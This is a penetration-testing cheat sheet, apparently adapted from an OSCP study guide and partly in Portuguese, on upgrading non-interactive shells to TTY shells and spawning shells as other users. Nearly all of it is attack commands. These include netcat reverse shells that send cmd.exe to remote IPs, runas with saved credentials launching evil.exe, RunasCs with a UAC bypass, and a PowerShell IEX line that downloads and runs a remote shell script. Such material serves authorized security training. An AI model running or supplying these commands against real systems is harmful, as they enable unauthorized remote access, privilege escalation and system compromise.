Skip to content

Spawning Shells

https://sushant747.gitbooks.io/total-oscp-guide/content/spawning_shells.html

tty-shells não interativas.

Se você possui um shell não-tty, existem certos comandos e outras coisas que você não pode fazer. Isso pode acontecer se você fizer upload de shells reversos em um servidor web, de modo que o shell obtido seja do usuário www-data ou similar. Esses usuários não devem ter shells, pois não interagem com o sistema que os humanos interagem.

Então, se você não tem um tty-shell, não pode executar su, sudo, por exemplo. Isso pode ser irritante se você conseguir uma senha de root, mas não conseguir usá-la.

De qualquer forma, se você obtiver um desses shells, poderá atualizá-lo para um shell tty usando os seguintes métodos:

Using python

python -c 'import pty; pty.spawn("/bin/sh")'

python3 -c 'import pty; pty.spawn("/bin/sh")'

ou

python3 -c 'import pty; pty.spawn("/bin/bash")'


python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

stty raw -echo; fg
reset

Script

script /dev/null -c bash

stty raw -echo; fg
reset

Echo

echo 'os.system('/bin/bash')'

sh

/bin/sh -i

bash

/bin/bash -i

Perl

perl -e 'exec "/bin/sh";'

From within VI

:!bash

Windows cmd

runas/user:acosta ".\nc64.exe -e C:\windows\system32\cmd.exe 192.168.0.165 8083"

### Runas

cmdkey /list
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
runas /savecred /user:Administrator "cmd.exe /k whoami"

    ./ras.exe gpoadm "Password123!" cmd -r 10.8.1.121:8082
./ras.exe gpoadm "Password123!" -l 3 cmd -r 10.8.1.121:8082
./ras.exe gpoadm "Password123!" -l 3 cmd /c c:\temp\n.exe -e cmd 10.8.1.121 8082"
   ./ras.exe gpoadm "Password123!" -i -l 3 "cmd /c c:\temp\n.exe -e cmd 10.8.1.121 8082"

RunasCs.exe user password powershell -r 1192.168.0.76:4444 --bypass-uac

windows powershell

$password = ConvertTo-SecureString 'Welcome1!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('Administrator', $password)
Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.5:8000/shell2.ps1')" -Credential $cred